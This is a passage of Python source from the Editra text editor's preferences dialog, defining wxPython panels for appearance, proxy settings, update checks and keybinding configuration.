OnSynChange(evt):\n \"\"\"Handles the events from checkbox and choice control for this panel\n @param evt: event that called this handler\n @postcondition: all text controls are updated to reflect the changes\n made in these controls.\n\n \"\"\"\n e_id = evt.GetId()\n e_obj = evt.GetEventObject()\n if e_id in (ed_glob.ID_PREF_SYNTHEME, ed_glob.ID_SYNTAX):\n Profile_Set(ed_glob.ID_2_PROF[e_id], e_obj.GetValue())\n else:\n evt.Skip()\n\n#-----------------------------------------------------------------------------#\n\nclass AppearancePanel(wx.Panel, PreferencesPanelBase):\n \"\"\"Creates a panel with controls for Editra's appearance settings\n @summary: contains all the controls for configuring the appearance\n related settings in Editra.\n\n \"\"\"\n def __init__(self, parent, style=wx.BORDER_SUNKEN):\n \"\"\"Create the panel\n @param parent: Parent window of this panel\n\n \"\"\"\n wx.Panel.__init__(self, parent, style=wx.BORDER_SUNKEN)\n PreferencesPanelBase.__init__(self)\n\n # Event Handlers\n self.Bind(wx.EVT_CHECKBOX, self.OnCheck)\n self.Bind(wx.EVT_CHOICE, self.OnChoice)\n self.Bind(wx.EVT_SLIDER, self.OnSetTransparent, \\\n id=ed_glob.ID_TRANSPARENCY)\n self.Bind(eclib.EVT_FONT_CHANGED, self.OnFontChange)\n\n def _DoLayout(self):\n \"\"\"Add and layout the widgets\n @note: Do not call this after __init__\n\n \"\"\"\n # Icons Section\n from ed_theme import BitmapProvider\n icons = ['Default']\n icons.extend(BitmapProvider(wx.GetApp().GetPluginManager()).GetThemes())\n iconsz = wx.BoxSizer(wx.HORIZONTAL)\n iconsz.AddMany([(wx.StaticText(self, label=_(\"Icon Theme\") + u\": \"), 0,\n wx.ALIGN_CENTER_VERTICAL), ((5, 5), 0),\n (ExChoice(self, ed_glob.ID_PREF_ICON, icons,\n Profile_Get('ICONS', 'str').title()), 0)])\n tbiconsz = wx.BoxSizer(wx.HORIZONTAL)\n tbiconsz.AddMany([(wx.StaticText(self, label=_(\"Toolbar Icon Size\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), ((5, 5), 0),\n (ExChoice(self, ed_glob.ID_PREF_ICONSZ,\n ['16', '24', '32'],\n str(Profile_Get('ICON_SZ', 'size_tuple')[0])), 0)])\n tabicon_cb = wx.CheckBox(self, ed_glob.ID_PREF_TABICON,\n _(\"Show Icons on Tabs\"))\n tabicon_cb.SetValue(Profile_Get('TABICONS'))\n\n # Layout Section\n mainw = wx.GetApp().GetActiveWindow()\n if mainw is not None:\n pchoices = mainw.GetPerspectiveList()\n else:\n pchoices = list()\n perspec_sz = wx.BoxSizer(wx.HORIZONTAL)\n perspec_sz.AddMany([(wx.StaticText(self,\n label=_(\"Default Perspective\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), ((5, 5), 0),\n (ExChoice(self, ed_glob.ID_PERSPECTIVES,\n pchoices, Profile_Get('DEFAULT_VIEW')), 0)])\n ws_cb = wx.CheckBox(self, ed_glob.ID_PREF_WSIZE, \\\n _(\"Remember Window Size on Exit\"))\n ws_cb.SetValue(Profile_Get('SET_WSIZE'))\n wp_cb = wx.CheckBox(self, ed_glob.ID_PREF_WPOS, \\\n _(\"Remember Window Position on Exit\"))\n wp_cb.SetValue(Profile_Get('SET_WPOS'))\n sb_cb = wx.CheckBox(self, ed_glob.ID_SHOW_SB, _(\"Show Status Bar\"))\n sb_cb.SetValue(Profile_Get('STATBAR'))\n tb_cb = wx.CheckBox(self, ed_glob.ID_VIEW_TOOL, _(\"Show Toolbar\"))\n tb_cb.SetValue(Profile_Get('TOOLBAR'))\n\n # Font\n fnt = Profile_Get('FONT3', 'font', wx.NORMAL_FONT)\n fpick = eclib.PyFontPicker(self, wx.ID_ANY, fnt)\n fpick.SetToolTipString(_(\"Main display font for various UI components\"))\n\n # Layout\n sizer = wx.FlexGridSizer(16, 2, 5, 5)\n sizer.AddMany([((10, 10), 0), ((10, 10), 0),\n (wx.StaticText(self, label=_(\"Icons\") + u\": \"), 0,\n wx.ALIGN_CENTER_VERTICAL), (iconsz, 0),\n ((5, 5), 0), (tbiconsz, 0),\n ((5, 5), 0), (tabicon_cb, 0),\n ((10, 10), 0), ((10, 10), 0),\n (wx.StaticText(self, label=_(\"Layout\") + u\": \"), 0,\n wx.ALIGN_CENTER_VERTICAL),\n (perspec_sz, 0, wx.ALIGN_CENTER_VERTICAL),\n ((5, 5), 0), (ws_cb, 0),\n ((5, 5), 0), (wp_cb, 0),\n ((5, 5), 0), (sb_cb, 0),\n ((5, 5), 0), (tb_cb, 0),\n ((10, 10), 0), ((10, 10), 0),\n (wx.StaticText(self, label=_(\"Transparency\") + u\": \"), 0),\n (wx.Slider(self, ed_glob.ID_TRANSPARENCY,\n Profile_Get('ALPHA'), 100, 255,\n style=wx.SL_HORIZONTAL|wx.SL_AUTOTICKS|\\\n wx.SL_LABELS), 0, wx.EXPAND),\n ((10, 10), 0), ((10, 10), 0),\n (wx.StaticText(self, label=_(\"Display Font\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL),\n (fpick, 1, wx.EXPAND),\n ((10, 10), 0), ((10, 10), 0),\n ])\n\n msizer = wx.BoxSizer(wx.HORIZONTAL)\n msizer.AddMany([((10, 10), 0), (sizer, 1, wx.EXPAND), ((10, 10), 0)])\n self.SetSizer(msizer)\n\n @staticmethod\n def OnCheck(evt):\n \"\"\"Updates profile based on checkbox actions\n @param evt: Event that called this handler\n\n \"\"\"\n e_id = evt.GetId()\n evalue = evt.GetEventObject().GetValue()\n if e_id in (ed_glob.ID_PREF_WPOS, ed_glob.ID_PREF_WSIZE):\n Profile_Set(ed_glob.ID_2_PROF[e_id], evalue)\n elif e_id == ed_glob.ID_PREF_TABICON:\n Profile_Set(ed_glob.ID_2_PROF[e_id], evalue)\n ed_msg.PostMessage(ed_msg.EDMSG_THEME_NOTEBOOK)\n elif e_id in (ed_glob.ID_SHOW_SB, ed_glob.ID_VIEW_TOOL):\n Profile_Set(ed_glob.ID_2_PROF[e_id], evalue)\n if e_id == ed_glob.ID_SHOW_SB:\n fun = 'GetStatusBar'\n else:\n fun = 'GetToolBar'\n\n # Update Window(s)\n for mainw in wx.GetApp().GetMainWindows():\n getattr(mainw, fun)().Show(evalue)\n mainw.SendSizeEvent()\n else:\n evt.Skip()\n\n @staticmethod\n def OnChoice(evt):\n \"\"\"Handles selection events from the choice controls\n @param evt: Event that called this handler\n\n \"\"\"\n e_id = evt.GetId()\n e_obj = evt.GetEventObject()\n val = e_obj.GetValue()\n if e_id in [ed_glob.ID_PREF_ICON, ed_glob.ID_PREF_ICONSZ]:\n if e_id == ed_glob.ID_PREF_ICONSZ:\n val = (int(val), int(val))\n Profile_Set(ed_glob.ID_2_PROF[e_id], val)\n wx.GetApp().ReloadArtProvider()\n ed_msg.PostMessage(ed_msg.EDMSG_THEME_CHANGED, True)\n elif e_id == ed_glob.ID_PERSPECTIVES:\n Profile_Set('DEFAULT_VIEW', val)\n for main_win in wx.GetApp().GetMainWindows():\n main_win.SetPerspective(Profile_Get('DEFAULT_VIEW'))\n else:\n evt.Skip()\n\n @staticmethod\n def OnFontChange(evt):\n \"\"\"Send out update messages fo rdisplay font changes\"\"\"\n font = evt.GetValue()\n if isinstance(font, wx.Font) and not font.IsNull():\n Profile_Set('FONT3', font, 'font')\n ed_msg.PostMessage(ed_msg.EDMSG_DSP_FONT, font)\n\n @staticmethod\n def OnSetTransparent(evt):\n \"\"\"Sets the transparency of the editor while the slider\n is being dragged.\n @param evt: Event that called this handler\n\n \"\"\"\n if evt.GetId() == ed_glob.ID_TRANSPARENCY:\n value = evt.GetEventObject().GetValue()\n for window in wx.GetApp().GetOpenWindows().values():\n win = window[0]\n if hasattr(win, 'SetTransparent'):\n win.SetTransparent(value)\n Profile_Set('ALPHA', value)\n else:\n evt.Skip()\n\n#-----------------------------------------------------------------------------#\n\nclass NetworkPanel(wx.Panel, PreferencesPanelBase):\n \"\"\"Network related configration options\"\"\"\n def __init__(self, parent, style=wx.BORDER_SUNKEN):\n \"\"\"Create the panel\"\"\"\n wx.Panel.__init__(self, parent, style=wx.BORDER_SUNKEN)\n PreferencesPanelBase.__init__(self)\n\n def _DoLayout(self):\n \"\"\"Do the layout of the panel\n @note: Do not call this after __init__\n\n \"\"\"\n sizer = wx.BoxSizer(wx.HORIZONTAL)\n nbook = wx.Notebook(self)\n nbook.AddPage(NetConfigPage(nbook), _(\"Configuration\"))\n\n # Only show update page if user has access to do installs\n if os.access(ed_glob.CONFIG['INSTALL_DIR'], os.R_OK|os.W_OK):\n nbook.AddPage(UpdatePage(nbook), _(\"Update\"))\n\n sizer.AddMany([((10, 10), 0), (nbook, 1, wx.EXPAND), ((10, 10), 0)])\n msizer = wx.BoxSizer(wx.VERTICAL)\n msizer.AddMany([(sizer, 1, wx.EXPAND), ((10, 10), 0)])\n self.SetSizer(msizer)\n\n#-----------------------------------------------------------------------------#\n\nID_USE_PROXY = wx.NewId()\nID_URL = wx.NewId()\nID_PORT = wx.NewId()\nID_USERNAME = wx.NewId()\nID_PASSWORD = wx.NewId()\n\nclass NetConfigPage(wx.Panel):\n \"\"\"Configuration page for network and proxy settings\"\"\"\n def __init__(self, parent):\n super(NetConfigPage, self).__init__(parent)\n\n # Layout\n self._DoLayout()\n self.SetAutoLayout(True)\n\n # Event Handlers\n self.Bind(wx.EVT_CHECKBOX, self.OnCheck, id=ID_USE_PROXY)\n self.Bind(wx.EVT_BUTTON, self.OnApply, id=wx.ID_APPLY)\n\n def _DoLayout(self):\n \"\"\"Layout the controls in the panel\"\"\"\n msizer = wx.BoxSizer(wx.VERTICAL)\n\n sboxsz = wx.StaticBoxSizer(wx.StaticBox(self,\n label=_(\"Proxy Settings\")), wx.VERTICAL)\n flexg = wx.FlexGridSizer(4, 2, 10, 5)\n flexg.AddGrowableCol(1, 1)\n\n proxy_val = Profile_Get('PROXY_SETTINGS', default=dict())\n use_proxy = wx.CheckBox(self, ID_USE_PROXY, _(\"Use Proxy\"))\n use_proxy.SetValue(Profile_Get('USE_PROXY', 'bool', False))\n sboxsz.AddMany([(use_proxy, 0, wx.ALIGN_LEFT), ((10, 10), 0)])\n\n url_sz = wx.BoxSizer(wx.HORIZONTAL)\n url_lbl = wx.StaticText(self, label=_(\"Proxy URL\") + u\":\")\n url_txt = wx.TextCtrl(self, ID_URL, proxy_val.get('url', ''))\n port_sep = wx.StaticText(self, label=\":\")\n port_txt = wx.TextCtrl(self, ID_PORT, proxy_val.get('port', ''))\n port_txt.SetToolTipString(_(\"Port Number\"))\n url_sz.AddMany([(url_txt, 1, wx.EXPAND), ((2, 2)),\n (port_sep, 0, wx.ALIGN_CENTER_VERTICAL),\n ((2, 2)), (port_txt, 0, wx.ALIGN_CENTER_VERTICAL)])\n flexg.AddMany([(url_lbl, 0, wx.ALIGN_CENTER_VERTICAL),\n (url_sz, 0, wx.EXPAND)])\n\n usr_sz = wx.BoxSizer(wx.HORIZONTAL)\n usr_lbl = wx.StaticText(self, label=_(\"Username\") + u\":\")\n usr_txt = wx.TextCtrl(self, ID_USERNAME, proxy_val.get('uname', ''))\n usr_sz.Add(usr_txt, 1, wx.EXPAND)\n flexg.AddMany([(usr_lbl, 0, wx.ALIGN_CENTER_VERTICAL),\n (usr_sz, 0, wx.EXPAND)])\n\n pass_sz = wx.BoxSizer(wx.HORIZONTAL)\n pass_lbl = wx.StaticText(self, label=_(\"Password\") + u\":\")\n pass_txt = wx.TextCtrl(self, ID_PASSWORD,\n ed_crypt.Decrypt(proxy_val.get('passwd', ''),\n proxy_val.get('pid', '')),\n style=wx.TE_PASSWORD)\n pass_sz.Add(pass_txt, 1, wx.EXPAND)\n flexg.AddMany([(pass_lbl, 0, wx.ALIGN_CENTER_VERTICAL),\n (pass_sz, 0, wx.EXPAND), ((5, 5), 0)])\n\n apply_b = wx.Button(self, wx.ID_APPLY)\n flexg.Add(apply_b, 0, wx.ALIGN_RIGHT)\n\n if wx.Platform == '__WXMAC__':\n for lbl in (use_proxy, url_txt, port_sep, port_txt, url_lbl,\n usr_lbl, usr_txt, pass_lbl, pass_txt, apply_b):\n lbl.SetWindowVariant(wx.WINDOW_VARIANT_SMALL)\n\n self.EnableControls(use_proxy.GetValue())\n sboxsz.Add(flexg, 1, wx.EXPAND)\n hsizer = wx.BoxSizer(wx.HORIZONTAL)\n hsizer.AddMany([((5, 5)), (sboxsz, 1, wx.EXPAND), ((5, 5))])\n msizer.AddMany([((10, 10)), (hsizer, 1, wx.EXPAND), ((10, 10))])\n self.SetSizer(msizer)\n\n def OnApply(self, evt):\n \"\"\"Apply the changes to the proxy settings\n @param evt: wx.EVT_BUTTON\n\n \"\"\"\n if evt.GetId() == wx.ID_APPLY:\n key_map = { ID_USERNAME : 'uname', ID_URL : 'url',\n ID_PORT : 'port', ID_PASSWORD : '<PASSWORD>' }\n proxy_dict = dict(uname='', passwd='', url='', port='')\n for val in (ID_URL, ID_PORT, ID_USERNAME, ID_PASSWORD):\n win = self.FindWindowById(val)\n if win is not None:\n winval = win.GetValue()\n if val == ID_PASSWORD:\n # This is not the most secure method of saving a\n # sensitive data but it is definitely better than plain\n # text. ALso as to be able to obtain this info from the\n # user profile the intruder would already have had to\n # compromise the users system account making anymore\n # such security rather moot by this point anyway.\n pid = os.urandom(8)\n winval = ed_crypt.Encrypt(winval, pid)\n proxy_dict['pid'] = pid\n proxy_dict[key_map[val]] = winval\n\n Profile_Set('PROXY_SETTINGS', proxy_dict)\n else:\n evt.Skip()\n\n def EnableControls(self, enable=True):\n \"\"\"Enable the controls in the box or disable them\n @keyword enable: Enable or Disable\n\n \"\"\"\n for child in self.GetChildren():\n if isinstance(child, wx.StaticText) or \\\n isinstance(child, wx.TextCtrl) or \\\n isinstance(child, wx.Button):\n child.Enable(enable)\n\n def OnCheck(self, evt):\n \"\"\"Enable the use of the proxy settings or not\n @param evt: wx.EVT_CHECKBOX\n\n \"\"\"\n e_val = evt.GetEventObject().GetValue()\n Profile_Set('USE_PROXY', e_val)\n self.EnableControls(e_val)\n\n#-----------------------------------------------------------------------------#\n\nclass UpdatePage(wx.Panel):\n \"\"\"Creates a panel with controls for updating Editra\n @summary: Panel with controls to check and download updates for Editra\n\n \"\"\"\n def __init__(self, parent):\n \"\"\"Create the panel\n @param parent: Parent window of this panel\n\n \"\"\"\n super(UpdatePage, self).__init__(parent)\n\n # Layout\n self._DoLayout()\n\n # Event Handlers\n self.Bind(wx.EVT_BUTTON, self.OnButton)\n self.Bind(ed_event.EVT_UPDATE_TEXT, self.OnUpdateText)\n\n def _DoLayout(self):\n \"\"\"Do the layout of the panel\n @note: Do not call this after __init__\n\n \"\"\"\n # Status text and bar\n cur_box = wx.StaticBox(self, label=_(\"Installed Version\"))\n cur_sz = wx.StaticBoxSizer(cur_box, wx.HORIZONTAL)\n cur_sz.SetMinSize(wx.Size(150, 40))\n cur_ver = wx.StaticText(self, wx.ID_ANY, ed_glob.VERSION)\n cur_sz.Add(cur_ver, 0, wx.ALIGN_CENTER_HORIZONTAL)\n e_update = updater.UpdateProgress(self, ed_glob.ID_PREF_UPDATE_BAR)\n upd_box = wx.StaticBox(self, label=_(\"Latest Version\"))\n upd_bsz = wx.StaticBoxSizer(upd_box, wx.HORIZONTAL)\n upd_bsz.SetMinSize(wx.Size(150, 40))\n upd_bsz.Add(wx.StaticText(self, ID_UPDATE_MSG, _(\"Status Unknown\")),\n 0, wx.ALIGN_CENTER_HORIZONTAL)\n upd_bsz.Layout()\n\n # Layout Controls\n statsz = wx.BoxSizer(wx.HORIZONTAL)\n statsz.AddMany([((15, 15), 0), (cur_sz, 0), ((20, 10), 1),\n (upd_bsz, 0), ((15, 15), 0)])\n\n # Control buttons\n dl_b = wx.Button(self, ID_DOWNLOAD, _(\"Download\"))\n dl_b.Disable()\n\n bsizer = wx.BoxSizer(wx.HORIZONTAL)\n bsizer.AddStretchSpacer()\n bsizer.Add(wx.Button(self, ID_CHECK_UPDATE, _(\"Check\")),\n 0, wx.ALIGN_LEFT)\n bsizer.AddStretchSpacer(2)\n bsizer.Add(dl_b, 0, wx.ALIGN_RIGHT)\n bsizer.AddStretchSpacer()\n\n sizer = wx.BoxSizer(wx.VERTICAL)\n sizer.AddMany([((15, 15), 1), (statsz, 0, wx.EXPAND), ((15, 15), 0),\n (e_update, 0, wx.EXPAND), ((15, 15), 0),\n (bsizer, 1, wx.EXPAND|wx.ALIGN_CENTER_VERTICAL),\n ((15, 15), 1)])\n\n msizer = wx.BoxSizer(wx.HORIZONTAL)\n msizer.AddMany([((5, 5), 0), (sizer, 1, wx.EXPAND), ((5, 5), 0)])\n self.SetSizer(msizer)\n\n def OnButton(self, evt):\n \"\"\"Handles events generated by the panels buttons\n @param evt: event that called this handler\n\n \"\"\"\n e_id = evt.GetId()\n e_obj = evt.GetEventObject()\n if e_id == ID_CHECK_UPDATE:\n util.Log(\"[prefdlg][evt] Update Page: Check Update Clicked\")\n e_obj.Disable()\n self.FindWindowById(ID_UPDATE_MSG).SetLabel(_(\"Checking...\"))\n prog_bar = self.FindWindowById(ed_glob.ID_PREF_UPDATE_BAR)\n # Note this function returns right away but its result is\n # handled on a separate thread. This window is then notified\n # via a custom event being posted by the control.\n prog_bar.CheckForUpdates()\n elif e_id == ID_DOWNLOAD:\n util.Log(\"[prefdlg][evt] Update Page: Download Updates Clicked\")\n e_obj.Disable()\n self.FindWindowById(ID_CHECK_UPDATE).Disable()\n dl_dlg = updater.DownloadDialog(None, ed_glob.ID_DOWNLOAD_DLG,\n _(\"Downloading Update\"))\n dp_sz = wx.GetDisplaySize()\n dl_dlg.SetPosition(((dp_sz[0] - (dl_dlg.GetSize()[0] + 5)), 25))\n dl_dlg.Show()\n else:\n evt.Skip()\n\n def OnUpdateText(self, evt):\n \"\"\"Handles text update events\"\"\"\n util.Log(\"[prefdlg][evt] Update Page: Updating version status text\")\n upd = self.FindWindowById(ed_glob.ID_PREF_UPDATE_BAR)\n if evt.GetId() == upd.ID_CHECKING:\n self.FindWindowById(ID_UPDATE_MSG).SetLabel(upd.GetStatus())\n if upd.GetUpdatesAvailable():\n self.FindWindowById(ID_DOWNLOAD).Enable()\n self.FindWindowById(ID_CHECK_UPDATE).Enable()\n self.Layout()\n\n # Trick the notebook into resizing to ensure everything fits\n curr_pg = self.GetParent().GetSelection()\n nbevt = wx.NotebookEvent(wx.wxEVT_COMMAND_TOOLBOOK_PAGE_CHANGED,\n 0, curr_pg, curr_pg)\n wx.PostEvent(self.GetParent(), nbevt)\n gauge = self.FindWindowById(ed_glob.ID_PREF_UPDATE_BAR)\n if gauge:\n gauge.Stop()\n gauge.SetValue(100)\n self.Refresh()\n\n#-----------------------------------------------------------------------------#\n# Advanced Page\n\nclass AdvancedPanel(wx.Panel):\n \"\"\"Creates a panel for holding advanced configuration options\n @summary: Contains a wx.Notebook that contains a number of pages with\n setting controls for configuring the advanced configuration\n options.\n\n \"\"\"\n def __init__(self, parent, style=wx.BORDER_SUNKEN):\n \"\"\"Create the panel\n @param parent: Parent window of this panel\n\n \"\"\"\n super(AdvancedPanel, self).__init__(parent, style=wx.BORDER_SUNKEN)\n\n # Layout\n self._layout_done = False\n\n def _DoLayout(self):\n \"\"\"Do the layout of the panel\n @note: Do not call this after __init__\n\n \"\"\"\n sizer = wx.BoxSizer(wx.HORIZONTAL)\n nbook = wx.Notebook(self)\n nbook.AddPage(KeyBindingPanel(nbook), _(\"Keybindings\"))\n sizer.AddMany([((10, 10), 0), (nbook, 1, wx.EXPAND), ((10, 10), 0)])\n msizer = wx.BoxSizer(wx.VERTICAL)\n msizer.AddMany([(sizer, 1, wx.EXPAND), ((10, 10), 0)])\n self.SetSizer(msizer)\n\n def DoSelected(self):\n \"\"\"Handle initial selection to create controls\"\"\"\n if not self._layout_done:\n self._layout_done = True\n self._DoLayout()\n self.SetAutoLayout(True)\n\n#-----------------------------------------------------------------------------#\n# Keybinding Panel\n\nID_MENUS = wx.NewId()\nID_MENU_ITEMS = wx.NewId()\nID_MOD1 = wx.NewId()\nID_MOD2 = wx.NewId()\nID_KEYS = wx.NewId()\nID_BINDING = wx.NewId()\nKEYS = ['', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',\n 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',\n '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '-', '+', '/', ',',\n '.', '[', ']', '{', '}', '>', '<', ':', '|', 'Left', 'Right', 'Down',\n 'Up', 'Home', 'End', 'Enter', 'Tab', 'Space', '\"', \"'\"]\nKEYS.extend([\"F\" + str(x) for x in range(1, 13)]) # Add function keys\n\nif wx.Platform == '__WXMSW__':\n KEYS.remove('Tab')\n\nMODIFIERS = ['', 'Alt', 'Shift']\nif wx.Platform == '__WXMAC__':\n MODIFIERS.append('Cmd')\nelse:\n MODIFIERS.append('Ctrl')\nMODIFIERS.sort()\n\nclass KeyBindingPanel(wx.Panel):\n \"\"\"Keybinding configration options\"\"\"\n def __init__(self, parent):\n \"\"\"Create the panel\"\"\"\n super(KeyBindingPanel, self).__init__(parent)\n\n # Attributes\n self._dirty = False\n self.menub = wx.GetApp().GetActiveWindow().GetMenuBar()\n self.binder = self.menub.GetKeyBinder()\n self.menumap = dict()\n\n # Load the Menu Map\n for item in self.menub.GetMenuMap():\n for key, val in item.iteritems():\n if len(val):\n if isinstance(val[0], int):\n val = val[1:]\n self.menumap[key] = sorted(val, key=lambda x: x[1])\n\n # Layout\n self._DoLayout()\n\n # Event Handlers\n self.Bind(wx.EVT_BUTTON, self.OnButton)\n self.Bind(wx.EVT_CHOICE, self.OnChoice)\n self.Bind(wx.EVT_LISTBOX, self.OnListBox)\n self.Bind(wx.EVT_UPDATE_UI,\n lambda evt: evt.Enable(self.Dirty),\n id=wx.ID_APPLY)\n\n def _DoLayout(self):\n \"\"\"Layout the controls\"\"\"\n msizer = wx.BoxSizer(wx.VERTICAL) # Main Sizer\n spacer = ((5, 5), 0)\n\n # Key profile section\n profsz = wx.BoxSizer(wx.HORIZONTAL)\n kprofiles = self.binder.GetKeyProfiles()\n # Add an empty selection for the default profile\n if len(kprofiles):\n kprofiles.insert(0, u'')\n cprofile = Profile_Get('KEY_PROFILE', default=None)\n profiles = wx.Choice(self, ed_glob.ID_KEY_PROFILES, choices=kprofiles)\n profiles.Enable(len(kprofiles))\n if cprofile is None:\n profiles.SetStringSelection(u'')\n else:\n profiles.SetStringSelection(cprofile)\n profsz.AddMany([spacer,\n (wx.StaticText(self, label=_(\"Key Profile\") + u\":\"),\n 0, wx.ALIGN_CENTER_VERTICAL), spacer,\n (profiles, 1, wx.EXPAND|wx.ALIGN_CENTER_VERTICAL),\n spacer, (wx.Button(self, wx.ID_NEW, _(\"New\")), 0),\n spacer, (wx.Button(self, wx.ID_DELETE, _(\"Delete\")), 0),\n spacer])\n\n # Left Side Sizer\n lvsizer = wx.BoxSizer(wx.VERTICAL)\n menus = wx.Choice(self, ID_MENUS, choices=sorted(self.menumap.keys()))\n menus.SetSelection(0)\n milbls = [ item[1]\n for item in self.menumap.get(menus.GetStringSelection()) ]\n lvsizer.AddMany([(wx.StaticText(self, label=_(\"Menu\") + u\":\"),\n 0, wx.ALIGN_LEFT), spacer,\n (menus, 0, wx.ALIGN_LEFT|wx.EXPAND), spacer,\n (wx.ListBox(self, ID_MENU_ITEMS,\n choices=sorted(milbls),\n style=wx.SIMPLE_BORDER), 1, wx.EXPAND),\n spacer])\n\n # Right Side Sizer\n rvsizer = wx.BoxSizer(wx.VERTICAL)\n rvsizer.AddMany([(wx.StaticText(self, label=_(\"Modifier 1\") + u\":\"),\n 0, wx.ALIGN_LEFT), spacer,\n (wx.Choice(self, ID_MOD1, choices=MODIFIERS),\n 0, wx.ALIGN_LEFT|wx.EXPAND), spacer,\n (wx.StaticText(self, label=_(\"Modifier 2\") + u\":\"),\n 0, wx.ALIGN_LEFT), spacer,\n (wx.Choice(self, ID_MOD2, choices=[]),\n 0, wx.ALIGN_LEFT|wx.EXPAND), spacer,\n (wx.StaticText(self, label=_(\"Key\") + u\":\"),\n 0, wx.ALIGN_LEFT), spacer,\n (wx.Choice(self, ID_KEYS, choices=KEYS),\n 0, wx.ALIGN_LEFT|wx.EXPAND), spacer,\n (wx.StaticText(self, label=_(\"Binding\") + u\":\"),\n 0, wx.ALIGN_LEFT), spacer,\n (wx.StaticText(self, ID_BINDING, \"\"),\n 0, wx.ALIGN_LEFT),\n # Reserve size for widest string\n ((self.GetTextExtent('Ctrl+Shift+Right')[0], 1), 0),\n ])\n\n # Lower Section\n lmsizer = wx.BoxSizer(wx.HORIZONTAL)\n lmsizer.AddMany([spacer, (lvsizer, 1, wx.EXPAND), ((10, 10), 0),\n (rvsizer, 0, wx.EXPAND), spacer])\n\n # Main Layout\n line_sz = wx.BoxSizer(wx.HORIZONTAL)\n line_sz.AddMany([(5, 1),\n (wx.StaticLine(self, size=(-1, 1)), 1, wx.EXPAND),\n (5, 1)])\n line_sz2 = wx.BoxSizer(wx.HORIZONTAL)\n line_sz2.AddMany([(5, 1),\n (wx.StaticLine(self, size=(-1, 1)), 1, wx.EXPAND),\n (5, 1)])\n bsizer = wx.BoxSizer(wx.HORIZONTAL)\n bsizer.AddMany([spacer, (wx.Button(self, wx.ID_REVERT,\n _(\"Revert to Default\")), 0, wx.ALIGN_LEFT),\n ((-1, 5), 1, wx.EXPAND),\n (wx.Button(self, wx.ID_APPLY, _(\"Apply\")),\n 0, wx.ALIGN_RIGHT), spacer])\n msizer.AddMany([((10, 10), 0), (profsz, 0, wx.EXPAND), spacer,\n (line_sz, 0, wx.EXPAND), spacer,\n (lmsizer, 1, wx.EXPAND), ((10, 10), 0),\n (line_sz2, 0, wx.EXPAND), spacer,\n (bsizer, 0, wx.EXPAND), spacer])\n\n # Use the small buttons on mac\n if wx.Platform == '__WXMAC__':\n for item in (wx.ID_REVERT, wx.ID_APPLY):\n self.FindWindowById(item).SetWindowVariant(wx.WINDOW_VARIANT_SMALL)\n\n self.SetSizer(msizer)\n self.SetAutoLayout(True)\n\n # Setup control status\n self.ClearKeyView()\n self.EnableControls(len(profiles.GetStringSelection()))\n\n def _GetMenuId(self):\n \"\"\"Get the id of the currently selected menu item\n @return: int or None\n\n \"\"\"\n sel_idx = self.FindWindowById(ID_MENU_ITEMS).GetSelection()\n cmenu = self.FindWindowById(ID_MENUS).GetStringSelection()\n menu_id = self.menumap.get(cmenu)[sel_idx][0]\n return menu_id\n\n def _UpdateBinding(self):\n \"\"\"Update the current keybinding and its display\"\"\"\n binding = self.FindWindowById(ID_BINDING) # StaticText\n bvalue = self.GetBindingValue()\n bstr = u\"+\".join(bvalue)\n if not len(bstr):\n bstr = _(\"None\")\n binding.SetLabel(bstr)\n\n def _UpdateKeyDisplay(self, keys):\n \"\"\"Update the controls that show the key binding of the current\n menu item.\n @param keys: tuple of keys\n\n \"\"\"\n mod1 = self.FindWindowById(ID_MOD1) # Choice\n mod1.SetItems(MODIFIERS)\n mod2 = self.FindWindowById(ID_MOD2) # Choice\n mod2.Enable()\n key = self.FindWindowById(ID_KEYS) # Choice\n\n if keys is None:\n keys = ('')\n\n # Change the main meta key for display reasons to keep it from\n # being confused with the actual ctrl key since wx translates ctrl\n # to apple key (cmd) automatically.\n if wx.Platform == '__WXMAC__' and len(keys) and 'Ctrl' in keys:\n nkeys = list()\n for keystr in keys:\n if keystr == 'Ctrl':\n nkeys.append('Cmd')\n else:\n nkeys.append(keystr)\n keys = nkeys\n\n if len(keys) >= 3:\n mod1.SetStringSelection(keys[0])\n tmods = list(MODIFIERS)\n tmods.remove(keys[0])\n mod2.SetItems(tmods)\n mod2.SetStringSelection(keys[1])\n key.SetStringSelection(keys[2])\n elif len(keys) == 2:\n mod1.SetStringSelection(keys[0])\n tmods = list(MODIFIERS)\n tmods.remove(keys[0])\n mod2.SetItems(tmods)\n mod2.SetStringSelection('')\n key.SetStringSelection(keys[1])\n elif len(keys) == 1 and keys[0] in KEYS:\n self.ClearKeyView()\n key.SetStringSelection(keys[0])\n else:\n self.ClearKeyView()\n\n self._UpdateBinding()\n\n #---- Properties ----#\n\n Dirty = property(lambda self: self._dirty,\n lambda self, bDirty: setattr(self, '_dirty', bDirty))\n\n def ClearKeyView(self):\n \"\"\"Clear all selections in the keybinding controls\"\"\"\n self.FindWindowById(ID_MOD1).SetStringSelection('')\n mod2 = self.FindWindowById(ID_MOD2) # Choice\n mod2.Clear()\n mod2.Disable()\n self.FindWindowById(ID_KEYS).SetStringSelection('')\n self._UpdateBinding()\n\n def EnableControls(self, enable=True):\n \"\"\"Enable/Disable the controls for editing the keybinding settings\n @keyword enable: enable (True), disable (False)\n\n \"\"\"\n for ctrl in (ID_MENUS, ID_MENU_ITEMS,\n wx.ID_APPLY, wx.ID_REVERT, wx.ID_DELETE):\n self.FindWindowById(ctrl).Enable(enable)\n\n self.EnableKeyView(enable)\n\n def EnableKeyView(self, enable=True):\n \"\"\"Enable/Disable the key view/edit controls\n @keyword enable: enable (True), disable (False)\n\n \"\"\"\n for ctrl in (ID_MOD1, ID_MOD2, ID_KEYS, ID_BINDING):\n self.FindWindowById(ctrl).Enable(enable)\n\n def GetBindingValue(self):\n \"\"\"Get the values of the keybindings selected in the choice controls\n @return: list\n\n \"\"\"\n rval = list()\n for cid in (ID_MOD1, ID_MOD2, ID_KEYS):\n val = self.FindWindowById(cid).GetStringSelection()\n if len(val):\n rval.append(val)\n return rval\n\n def OnButton(self, evt):\n \"\"\"Handle button events\n @param evt: wx.CommandEvent\n\n \"\"\"\n e_id = evt.GetId()\n profiles = self.FindWindowById(ed_glob.ID_KEY_PROFILES)\n csel = profiles.GetStringSelection()\n if e_id == 